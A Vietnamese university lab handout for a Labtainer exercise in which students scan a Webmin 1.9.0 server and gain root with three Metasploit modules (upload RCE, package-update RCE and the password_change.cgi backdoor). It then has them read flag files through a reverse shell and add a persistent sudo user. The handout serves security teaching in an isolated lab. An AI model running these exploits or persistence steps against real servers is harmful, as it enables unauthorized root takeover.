****Tìm hiểu và khai thác công cụ Webmin****

1. **Mục đích**

Hiểu cách thức hoạt động của Webmin và các tính năng quản lý hệ thống qua giao diện web. Xác định và khai thác các lỗ hổng bảo mật tiềm ẩn trong công cụ Webmin.

1. **Yêu cầu đối với sinh viên**

Có kiến thức cơ bản về hệ điều hành Linux, công cụ Webmin, công cụ Metasploit.

1. **Nội dung thực hành**

**Khởi động bài lab:**

Vào terminal, gõ:

*labtainer -r pen\_tool\_webmin*

*(chú ý: sinh viên sử dụng mã sinh viên của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)*

Sau khi khởi động xong hai terminal ảo sẽ xuất hiện, một cái là đại diện cho máy tấn công: **attack**, một cái là đại diện cho máy nạn nhân: **server**.

Trên máy **server**, thực hiện xem và chạy file create\_flag.py trên máy để có thể tạo ra các file flag để tiếp tục bài thực hành.

*sudo python3 create\_flag.py*

Trên máy **server** để sử dụng và hiểu về công cụ cấu hình hệ thống Webmin, sinh viên sử dụng câu lệnh:

*firefox https://<IP server>:10000/*

Với username là root và password là root

Giao diện dashboard hiện ra, thực hiện tìm hiểu các tính năng, chức năng của hệ thống Webmin.

Sang máy **attack** thực hiện quét cổng và dịch vụ của máy **server** bằng công cụ nmap, sinh viên sẽ biết được máy server sử dụng dịch vụ Webmin:

*sudo nmap -sS -sV <Ip server>*

Sinh viên thực hiện khai thác các lỗ hổng với dịch vụ Webmin bằng công cụ Metasploit:

*msfconsole*

**Task 1: Khai thác các lỗ hổng Webmin để chiếm quyền root**

Lỗ hổng này tồn tại trong Webmin phiên bản 1.9.0 – một giao diện quản trị hệ thống dựa trên web thường được sử dụng trên các hệ điều hành Linux.

Sinh viên vào Metasploit, sử dụng module:

*use exploit/unix/webapp/webmin\_upload\_exec*

Thực hiện xem, cấu hình module và thực hiện khai thác:

*options*

*set RHOSTS <IP server>*

*set LHOST <IP attack>*

*set GUESSUPLOAD true*

*set USERNAME root*

*set PASSWORD root*

*run*

Cài đặt các thông số và khai thác thành công lỗ hổng Webmin Upload Authenticated RCE của webmin phiên bản 1.9.0, chiếm được quyền root

Kiểm tra thông tin của máy **server**.

*whoami*

*id*

**Task 2: Khai thác lỗ hổng Webmin Package Updates RCE**

Sinh viên sử dụng module:

*use exploit/linux/http/webmin\_packageup\_rce*

Thực hiện xem, cấu hình và thực hiện khai thác:

*options*

*set RHOSTS <IP server>*

*set LHOST <IP attack>*

*set USERNAME root*

*set PASSWORD root*

*set SSL true*

*run*

Cài đặt các thông số và khai thác thành công lỗ hổng Webmin Package Updates Remote Command Execution của webmin phiên bản 1.9.0, chiếm được quyền root.

**Task 3: Khai thác backdoor Webmin**

Sinh viên sử dụng module:

*use exploit/unix/webapp/webmin\_backdoor*

Sinh viên thực hiện xem, cấu hình module và thực hiện khai thác:

*options*

*set RHOSTS <IP server>*

*set LHOST <IP attack>*

*set SSL true*

*check*

*run*

Cài đặt các thông số và khai thác thành công lỗ hổng Webmin password\_change.cgi Backdoor của webmin phiên bản 1.9.0, chiếm được quyền root.

Kiểm tra thông tin máy và người dùng:

*whoami*

*id*

Trong phiên reverse shell đến máy **server**, sinh viên tìm đọc hai file cờ trong đường dẫn /home/ubuntu.

Sinh viên thực hiện tạo một user với username là user1 và mật khẩu bất kì, cấp quyền root cho user này.

*sudo useradd <username> -p <password>*

*sudo usermod -aG sudo <username>*

**Kiểm tra kết quả:**

Sinh viên thực hiện kiểm tra tiến độ và kiểm tra kết quả bằng câu lệnh:

*checkwork*

**Kết thúc bài lab:**

Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:

*stoplab <ten\_bai\_lab>*

Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab.

**Khởi động lại bài lab:**

Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:

*labtainer –r pen\_tool\_webmin*